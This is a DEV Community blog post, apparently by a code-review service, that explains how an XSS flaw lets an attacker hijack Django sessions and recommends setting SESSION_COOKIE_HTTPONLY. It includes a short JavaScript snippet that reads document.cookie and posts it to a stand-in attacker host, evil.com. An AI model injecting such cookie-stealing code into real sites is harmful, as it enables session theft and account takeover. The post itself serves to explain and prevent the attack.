DEV Community

Cover image for Hacking Django websites: session hijacking with XSS
Code Review Doctor
Code Review Doctor

Posted on • Updated on

Hacking Django websites: session hijacking with XSS

One vulnerability builds on top of another: a bad actor can perform a series of attacks on your website that starts as a simple XSS attack to trick the browser into executing some JavaScipt, and ends with the hacker completely hijacking the victim's logged in session through stealing the their session cookie:

Ready for a Django security challenge? Play our Django security challenge.

In this scenario the hacker simply copy and pasted the victim's session cookie and then reloaded the page. But how did they get the cookie? In a previous post it was shown how an insecure website can be tricked into executing some JavaScript. Let's change the example a bit to steal the session cookie via JavaScript:

// nefavious.js

function stealSessionCookie(cookies) {
    fetch('https://evil.com/api/cookies', {method: 'post'}, cookies)
}

stealSessionCookie(document.cookie)
Enter fullscreen mode Exit fullscreen mode

In this example, the victim's session cookies are posted to the hacker's server - allowing the hacker to read the cookie from the log as demonstrated in the video.

This kind of attack can also be used to steal the CSRF cookie, which further demonstrates how one apparent minor vulnerability leads to another.

Prevention

This session cookie hijacking was only possible because the website had the following vulnerabilities:

The httpOnly problem can be fixed by doing the following in Django:

MIDDLEWARE = [
    'django.contrib.sessions.middleware.SessionMiddleware',
    ...
]

SESSION_COOKIE_HTTPONLY = True
Enter fullscreen mode Exit fullscreen mode

This will prevent the browser from being able to read the value of the session cookie, so if a hacker does successfully perform an XSS attack at least they cannot hijack the user's session.

Does your website have security vulnerabilities?

Over time it's easy for security vulnerabilities and tech debt to slip into your codebase. I can check that for you at django.doctor, or can review your GitHub PRs:

Alt Text

Or try out Django refactor challenges.

Top comments (0)